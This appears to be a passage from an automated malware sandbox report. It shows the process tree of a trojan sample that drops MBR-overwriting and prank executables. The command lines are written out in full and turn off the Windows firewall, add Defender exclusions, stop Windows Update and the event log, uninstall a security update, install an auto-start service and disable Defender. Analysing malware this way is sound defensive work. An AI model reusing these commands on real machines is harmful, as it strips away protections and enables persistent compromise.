                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffdfde846f8,0x7ffdfde84708,0x7ffdfde84718
                                                      4⤵
                                                        PID:5312
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2148 /prefetch:2
                                                        4⤵
                                                          PID:3340
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
                                                          4⤵
                                                            PID:5584
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
                                                            4⤵
                                                              PID:5604
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
                                                              4⤵
                                                                PID:3228
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                                                                4⤵
                                                                  PID:5620
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4068 /prefetch:8
                                                                  4⤵
                                                                    PID:1448
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4068 /prefetch:8
                                                                    4⤵
                                                                      PID:3408
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
                                                                      4⤵
                                                                        PID:5124
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
                                                                        4⤵
                                                                          PID:5132
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4408 /prefetch:1
                                                                          4⤵
                                                                            PID:3860
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
                                                                            4⤵
                                                                              PID:2900
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3720 /prefetch:1
                                                                              4⤵
                                                                                PID:2312
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9157027218554793440,18200978488996584637,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
                                                                                4⤵
                                                                                  PID:4384
                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                cmd.exe /c start calc
                                                                                3⤵
                                                                                  PID:1020
                                                                                  • C:\Windows\system32\calc.exe
                                                                                    calc
                                                                                    4⤵
                                                                                      PID:900
                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                    taskkill /F /IM explorer.exe
                                                                                    3⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:5996
                                                                                  • C:\Windows\explorer.exe
                                                                                    "C:\Windows\explorer.exe"
                                                                                    3⤵
                                                                                    • Boot or Logon Autostart Execution: Active Setup
                                                                                    • Drops desktop.ini file(s)
                                                                                    • Enumerates connected drives
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Modifies Internet Explorer settings
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:5656
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Temp1_zrfwia.zip\HMSTR_Trj [GEN].exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Temp1_zrfwia.zip\HMSTR_Trj [GEN].exe"
                                                                                      4⤵
                                                                                      • Checks computer location settings
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:5328
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start_dobrota.bat" "
                                                                                        5⤵
                                                                                        • Checks computer location settings
                                                                                        PID:5288
                                                                                        • C:\Users\Admin\AppData\Local\Temp\mbr.exe
                                                                                          mbr.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:2260
                                                                                        • C:\Windows\System32\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sound.vbs"
                                                                                          6⤵
                                                                                          • Enumerates connected drives
                                                                                          PID:4424
                                                                                        • C:\Users\Admin\AppData\Local\Temp\erroricons.exe
                                                                                          erroricons.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:636
                                                                                        • C:\Users\Admin\AppData\Local\Temp\INVERS.exe
                                                                                          INVERS.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:5008
                                                                                        • C:\Users\Admin\AppData\Local\Temp\crazywarningicons.exe
                                                                                          crazywarningicons.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:4812
                                                                                        • C:\Users\Admin\AppData\Local\Temp\crazyinvers.exe
                                                                                          crazyinvers.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:3536
                                                                                        • C:\Users\Admin\AppData\Local\Temp\erroriconscursor.exe
                                                                                          erroriconscursor.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:5620
                                                                                        • C:\Users\Admin\AppData\Local\Temp\toonel.exe
                                                                                          toonel.exe
                                                                                          6⤵
                                                                                          • Executes dropped EXE
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:2312
                                                                                        • C:\Windows\System32\WScript.exe
                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\messages2.vbs"
                                                                                          6⤵
                                                                                            PID:1996
                                                                                          • C:\Windows\System32\WScript.exe
                                                                                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\messages.vbs"
                                                                                            6⤵
                                                                                              PID:5104
                                                                                            • C:\Windows\System32\WScript.exe
                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
                                                                                              6⤵
                                                                                                PID:496
                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\an44kbn1\an44kbn1.cmdline"
                                                                                          3⤵
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:564
                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2D4C.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcA9C368082A624A9B8DCD8CD4528A7F2E.TMP"
                                                                                            4⤵
                                                                                              PID:524
                                                                                          • C:\Windows\System32\netsh.exe
                                                                                            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                            3⤵
                                                                                            • Modifies Windows Firewall
                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                            PID:5044
                                                                                          • C:\Windows\System32\sc.exe
                                                                                            "C:\Windows\System32\sc.exe" stop wuauserv
                                                                                            3⤵
                                                                                            • Launches sc.exe
                                                                                            PID:2820
                                                                                          • C:\Windows\System32\sc.exe
                                                                                            "C:\Windows\System32\sc.exe" config wuauserv start=disabled
                                                                                            3⤵
                                                                                            • Launches sc.exe
                                                                                            PID:3640
                                                                                          • C:\Users\Admin\AppData\Local\Temp\mmmith.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\mmmith.exe"
                                                                                            3⤵
                                                                                            • Drops file in Drivers directory
                                                                                            • Executes dropped EXE
                                                                                            • Drops file in System32 directory
                                                                                            PID:3064
                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              PID:5304
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                              4⤵
                                                                                                PID:2052
                                                                                                • C:\Windows\system32\wusa.exe
                                                                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                  5⤵
                                                                                                    PID:3044
                                                                                                • C:\Windows\system32\sc.exe
                                                                                                  C:\Windows\system32\sc.exe delete "SolaraV3"
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:904
                                                                                                • C:\Windows\system32\sc.exe
                                                                                                  C:\Windows\system32\sc.exe create "SolaraV3" binpath= "C:\ProgramData\SolaraV3.exe" start= "auto"
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:5536
                                                                                                • C:\Windows\system32\sc.exe
                                                                                                  C:\Windows\system32\sc.exe stop eventlog
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:1464
                                                                                                • C:\Windows\system32\sc.exe
                                                                                                  C:\Windows\system32\sc.exe start "SolaraV3"
                                                                                                  4⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:3876
                                                                                              • C:\Windows\SYSTEM32\CMD.EXE
                                                                                                "CMD.EXE"
                                                                                                3⤵
                                                                                                  PID:4400
                                                                                                  • C:\Windows\system32\help.exe
                                                                                                    help
                                                                                                    4⤵
                                                                                                      PID:224
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data"
                                                                                                    3⤵
                                                                                                      PID:4832
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x120,0x130,0x7ffdfde846f8,0x7ffdfde84708,0x7ffdfde84718
                                                                                                        4⤵
                                                                                                          PID:4484
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2152 /prefetch:2
                                                                                                          4⤵
                                                                                                            PID:3568
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2236 /prefetch:3
                                                                                                            4⤵
                                                                                                              PID:836
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --mojo-platform-channel-handle=2600 /prefetch:8
                                                                                                              4⤵
                                                                                                                PID:4884
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                                                                                                                4⤵
                                                                                                                  PID:6000
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                                                                                                                  4⤵
                                                                                                                    PID:4868
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4608 /prefetch:2
                                                                                                                    4⤵
                                                                                                                      PID:4560
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2316 /prefetch:2
                                                                                                                      4⤵
                                                                                                                        PID:4316
                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4604 /prefetch:2
                                                                                                                        4⤵
                                                                                                                          PID:5680
                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2312 /prefetch:2
                                                                                                                          4⤵
                                                                                                                            PID:5444
                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2348 /prefetch:1
                                                                                                                            4⤵
                                                                                                                              PID:5640
                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --disable-3d-apis --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2304 /prefetch:1
                                                                                                                              4⤵
                                                                                                                                PID:4892
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14785158344609203202,8704623030424668151,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3108 /prefetch:2
                                                                                                                                4⤵
                                                                                                                                  PID:4688
                                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                            1⤵
                                                                                                                              PID:1828
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}
                                                                                                                                2⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:2204
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  "C:\Windows\system32\sc.exe" qc windefend
                                                                                                                                  3⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:1492
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                                                                                  3⤵
                                                                                                                                    PID:2900
                                                                                                                                  • C:\Windows\system32\whoami.exe
                                                                                                                                    "C:\Windows\system32\whoami.exe" /groups
                                                                                                                                    3⤵
                                                                                                                                      PID:4396
                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                      "C:\Windows\system32\net1.exe" stop windefend
                                                                                                                                      3⤵
                                                                                                                                        PID:4568
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        "C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE
                                                                                                                                        3⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:3604
                                                                                                                                  • C:\Windows\system32\msiexec.exe
                                                                                                                                    C:\Windows\system32\msiexec.exe /V
                                                                                                                                    1⤵
                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                    • Enumerates connected drives
                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                    • Drops file in Windows directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Modifies registry class
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:3188
                                                                                                                                    • C:\Windows\System32\MsiExec.exe
                                                                                                                                      C:\Windows\System32\MsiExec.exe -Embedding 85D3A382B814E33F15575DD7ED4C5721
                                                                                                                                      2⤵
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      PID:4112
                                                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 887988A3D83F0FE9F5409C18709EE184
                                                                                                                                      2⤵
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2672
                                                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding C6A117AE22F1FCA3BF02BE39FC5EE027 E Global\MSI0000
                                                                                                                                      2⤵
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:2928
                                                                                                                                      • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                                                        "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man"
                                                                                                                                        3⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1980
                                                                                                                                        • C:\Windows\System32\wevtutil.exe
                                                                                                                                          "wevtutil.exe" im "C:\Program Files\nodejs\node_etw_provider.man" /fromwow64
                                                                                                                                          4⤵
